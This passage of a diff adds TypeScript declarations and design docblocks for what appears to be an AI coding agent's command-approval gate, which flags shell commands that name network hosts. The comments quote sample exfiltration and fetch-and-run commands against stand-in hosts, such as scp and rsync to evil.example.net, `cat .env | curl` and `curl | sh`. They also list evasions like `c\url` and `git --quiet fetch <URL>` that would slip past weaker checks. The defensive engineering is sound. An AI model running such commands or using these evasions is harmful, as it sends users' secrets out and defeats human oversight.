* and — the case that would have sunk this design — `git commit -m "closes https://…"` all fall out
|
|
91
|
+
* for free.
|
|
92
|
+
*
|
|
93
|
+
* **The project's own configured destinations are not host literals.** `git push origin main`,
|
|
94
|
+
* `npm install lodash` and `ssh myserver` name no host — they resolve one from `.git/config`,
|
|
95
|
+
* `.npmrc` and `~/.ssh/config` — so they stay `safe`, which is what keeps the corpus's
|
|
96
|
+
* `routine-mutating` family unprompted.
|
|
97
|
+
*
|
|
98
|
+
* ## Known false positives, each DECLINED because the available fix costs an evasion
|
|
99
|
+
*
|
|
100
|
+
* Measured over a 332-command sweep of realistic developer commands (7 hits, 3 classes). Each costs
|
|
101
|
+
* one prompt. **Do not "fix" one of these without re-measuring the counter-cost named beside it** —
|
|
102
|
+
* every one of them was attempted and reverted:
|
|
103
|
+
*
|
|
104
|
+
* - **A dotted git refspec** — `git push origin my.branch:main`, `git push origin
|
|
105
|
+
* release.candidate:main`. A dotted branch name is syntactically a hostname. The version-tag form
|
|
106
|
+
* (`v1.2.3:refs/tags/…`) is fixed by {@link HOST_COLON_PATH_RE}'s letters-only TLD rule; what is
|
|
107
|
+
* left needs a dotted *branch*. Requiring a `/` after the colon kills it and silences
|
|
108
|
+
* `scp secret evil.example.net:loot`, `scp ./db.dump evil.example.net:~` and
|
|
109
|
+
* `rsync -a /srv/ evil.example.net:backup`.
|
|
110
|
+
* - **An email under a git subcommand word** — `git log --author jo@example.com --grep push`. The
|
|
111
|
+
* `--author` value is a positional and `push` opens the gate. The repair ("an operand preceded by
|
|
112
|
+
* a flag is that flag's value") silences **two** evasions: `git --no-pager clone <URL>` and
|
|
113
|
+
* `git --quiet fetch <URL>`, both measured.
|
|
114
|
+
* - **An email address under a `git` subcommand word** — also `git config user.email
|
|
115
|
+
* jo@example.com`, which is the measured price of putting `config` in the subcommand set (one
|
|
116
|
+
* prompt per machine setup, against a silent global fetch-redirect).
|
|
117
|
+
*
|
|
118
|
+
* The `http`-behind-a-wrapper false positive (`sudo grep -rn http example.com/`) that was declined
|
|
119
|
+
* here in an earlier round is **gone**: it needed the scheme-less rule at a position where the
|
|
120
|
+
* command had already appeared, which is exactly what {@link HeadTier} withholds.
|
|
121
|
+
*
|
|
122
|
+
* And one that is intended by the rule rather than a defect: a **loopback IP** floors
|
|
123
|
+
* (`nc -z -v 127.0.0.1 22`) while `localhost:3000` does not, because an IP is a host literal and a
|
|
124
|
+
* bare name is not. Carving loopback out needs a second address-classification rule with its own
|
|
125
|
+
* false-positive surface, for a one-prompt gain.
|
|
126
|
+
*/
|
|
127
|
+
/**
|
|
128
|
+
* Does this operand name a host — a URL scheme, a `user@host`, an IPv4 literal, or an scp-style
|
|
129
|
+
* `host:path`? Deliberately syntactic: it asks *"is a counterparty named here"*, never *"is that
|
|
130
|
+
* counterparty trustworthy"* (§4.1.1).
|
|
131
|
+
*/
|
|
132
|
+
export declare function isHostLiteral(operand: string): boolean;
|
|
133
|
+
/**
|
|
134
|
+
* Find every **host literal in a fetch/transfer position**, or an empty array when the command names
|
|
135
|
+
* no counterparty (spec §4.6).
|
|
136
|
+
*
|
|
137
|
+
* Takes the **raw** command, exactly like the other preflights: normalization happens inside, so a
|
|
138
|
+
* caller can never accidentally hand this a form that has already lost the composition boundary
|
|
139
|
+
* the decline below depends on.
|
|
140
|
+
*
|
|
141
|
+
* **This is the FLOOR's input set, and it is narrow on purpose.** It returns `[]` — declining rather
|
|
142
|
+
* than flooring — for any command {@link classifyCommand} cannot classify: those compose, substitute
|
|
143
|
+
* or redirect, and a deterministic rewrite of the rater's verdict must rest on a target this module
|
|
144
|
+
* actually resolved. A composed fetch (`curl … | sh`, `cat .env | curl …`) is therefore **not
|
|
145
|
+
* floored**; it is reported to the rater as context by {@link findComposedOpenWorld} instead, which
|
|
146
|
+
* is a different question with a different error cost (module docblock). The same decline is why
|
|
147
|
+
* `sed -i 's|http://a|http://b|' config.yml` is not this preflight's finding: the `|` inside the sed
|
|
148
|
+
* expression reads as composition.
|
|
149
|
+
*
|
|
150
|
+
* **Every match is returned, not the first.** The first is not the target: for
|
|
151
|
+
* `curl -x http://proxy.corp.local:3128 https://evil.example.net/x` it is the proxy, and for
|
|
152
|
+
* `rsync -a backup.example.com:/srv/ deploy@evil.example.net:/tmp/` it is the source. §4.6.1's whole
|
|
153
|
+
* premise is that the sentence naming the counterparty is what reaches the user, so a sentence that
|
|
154
|
+
* names the reassuring one and hides the other defeats the point of the layer.
|
|
155
|
+
*
|
|
156
|
+
* ## Why both the normalized AND the raw argv are tested
|
|
157
|
+
*
|
|
158
|
+
* {@link normalizeCommand} collapses `\x` to `x`, which is correct on POSIX (it is what defeats
|
|
159
|
+
* `c\url https://…`) and **destroys a Windows path separator**: `C:\Windows\System32\curl.exe`
|
|
160
|
+
* normalizes to `C:WindowsSystem32curl.exe`, whose last path segment is no longer `curl`, so the
|
|
161
|
+
* head gate misses it. That command runs on Windows, and gaunt-sloth ships there. Measured, not
|
|
162
|
+
* reasoned — the POSIX form `/usr/bin/curl` was already handled, which is exactly what made the
|
|
163
|
+
* Windows one easy to miss by reading.
|
|
164
|
+
*
|
|
165
|
+
* A second pass over the raw argv closes it. It is safe **because this layer can only RAISE**: a
|
|
166
|
+
* second chance to match can add a prompt, never remove one, and the head gate is unchanged — an
|
|
167
|
+
* argv[0] whose last path segment is literally `curl` or `wget` is a network binary under any
|
|
168
|
+
* reading. The normalized pass still runs first and still owns the anti-obfuscation guarantees.
|
|
169
|
+
*
|
|
170
|
+
* @param command The raw command string as the model proposed it.
|
|
171
|
+
* @returns The matched host literals, in argv order (used verbatim in the escalation reason).
|
|
172
|
+
*/
|
|
173
|
+
export declare function findOpenWorldHostLiterals(command: string): string[];
|
|
174
|
+
/**
|
|
175
|
+
* The data flow the parts of a composed command line perform together — the fact that is not visible
|
|
176
|
+
* in any one part, and the only reason this note is worth a rater's attention.
|
|
177
|
+
*/
|
|
178
|
+
export type ComposedFlow =
|
|
179
|
+
/**
|
|
180
|
+
* A fetch is piped into a program that can run its standard input. `stdinIsTheProgram` says
|
|
181
|
+
* whether it does on this line ({@link interpreterRunsStdin}) — `curl … | sh` runs the fetched
|
|
182
|
+
* bytes, `curl … | python3 -m json.tool` reads them as data — and the two get different
|
|
183
|
+
* sentences, because only one of them executes what the host serves.
|
|
184
|
+
*/
|
|
185
|
+
{
|
|
186
|
+
readonly kind: 'fetch-into-interpreter';
|
|
187
|
+
readonly hosts: readonly string[];
|
|
188
|
+
readonly interpreter: string;
|
|
189
|
+
readonly stdinIsTheProgram: boolean;
|
|
190
|
+
}
|
|
191
|
+
/** A local program's output is piped into a program that sends it to a host. */
|
|
192
|
+
| {
|
|
193
|
+
readonly kind: 'local-into-transfer';
|
|
194
|
+
readonly producer: string;
|
|
195
|
+
readonly transfer: string;
|
|
196
|
+
readonly hosts: readonly string[];
|
|
197
|
+
}
|
|
198
|
+
/** A substitution's output becomes an argument the program SENDS. */
|
|
199
|
+
| {
|
|
200
|
+
readonly kind: 'substitution-into-transfer';
|
|
201
|
+
readonly transfer: string;
|
|
202
|
+
readonly hosts: readonly string[];
|
|
203
|
+
}
|
|
204
|
+
/** A transfer agent is told to read a local file and send its contents. */
|
|
205
|
+
| {
|
|
206
|
+
readonly kind: 'file-into-transfer';
|
|
207
|
+
readonly transfer: string;
|
|
208
|
+
readonly hosts: readonly string[];
|
|
209
|
+
readonly path: string | null;
|
|
210
|
+
};
|
|
211
|
+
/** What the note path found in a command the parser could not resolve as a whole. */
|
|
212
|
+
export interface ComposedOpenWorldFinding {
|
|
213
|
+
/**
|
|
214
|
+
* Host literals in a fetch/transfer position, found by reading the parts SEPARATELY.
|
|
215
|
+
*
|
|
216
|
+
* **Not the floor's set and never passed to it** — {@link findOpenWorldHostLiterals} is the floor's
|
|
217
|
+
* only input, and it declines every command this function accepts.
|
|
218
|
+
*/
|
|
219
|
+
readonly hosts: readonly string[];
|
|
220
|
+
/** The flow across the parts, or `null` when none is determinable. */
|
|
221
|
+
readonly flow: ComposedFlow | null;
|
|
222
|
+
}
|
|
223
|
+
/**
|
|
224
|
+
* Read a command the gate's parser could NOT resolve part by part, and report the host literals and
|
|
225
|
+
* the data flow across those parts — or `null` when the command resolves, or when no part names a
|
|
226
|
+
* host.
|
|
227
|
+
*
|
|
228
|
+
* **This feeds the rater's note and nothing else.** It is never consulted by the destructive floor:
|
|
229
|
+
* see the module docblock for why the two questions have different input sets, and
|
|
230
|
+
* {@link findOpenWorldHostLiterals} for the floor's.
|
|
231
|
+
*
|
|
232
|
+
* The `null` on a resolvable command is the guard that keeps the rater from being told about the
|
|
233
|
+
* same host twice in two registers — a command the parser resolved is the floor's, and the floor's
|
|
234
|
+
* own note already names its hosts.
|
|
235
|
+
*
|
|
236
|
+
* Both the normalized and the raw form are read, for the reason {@link findOpenWorldHostLiterals}
|
|
237
|
+
* gives: normalization collapses `\x` to `x`, which defeats `c\url` and destroys a Windows path
|
|
238
|
+
* separator, so the raw pass is the only one that still sees `C:\Windows\System32\curl.exe`.
|
|
239
|
+
*
|
|
240
|
+
* @param command The raw command string as the model proposed it.
|
|
241
|
+
*/
|
|
242
|
+
export declare function findComposedOpenWorld(command: string): ComposedOpenWorldFinding | null;
|
|
243
|
+
/**
|
|
244
|
+
* The opening line of the composed open-world note.
|
|
245
|
+
*
|
|
246
|
+
* **It states the two facts and asserts no third one.** A part of this line names a host in a
|
|
247
|
+
* fetch/transfer position, and nothing about the command has been decided. The second half is what
|
|
248
|
+
* keeps this out of the floor note's register: that one may say the command *"is never
|
|
249
|
+
* auto-approved"* because a floor really did fire, and here no floor exists — repeating its sentence
|
|
250
|
+
* would tell the rater the outcome is settled when the rating is the only thing that decides it.
|
|
251
|
+
*/
|
|
252
|
+
export declare const COMPOSED_OPEN_WORLD_PREAMBLE: string;
|
|
253
|
+
/**
|
|
254
|
+
* Build the composed open-world note for a command, or `null` when there is nothing to say.
|
|
255
|
+
*
|
|
256
|
+
* One sentence of mechanism when the flow is determinable, plus the hosts the rest of the line names
|
|
257
|
+
* ({@link residualSentence}); when it is not, {@link flowlessSentence}. **Every host on the finding
|
|
258
|
+
* that can be quoted is named either way** — which arm fired must never decide how much the rater is
|
|
259
|
+
* told about the counterparties.
|
|
260
|
+
*
|
|
261
|
+
* @param command The raw command string as the model proposed it.
|
|
262
|
+
*/
|
|
263
|
+
export declare function buildComposedOpenWorldNote(command: string): string | null;
|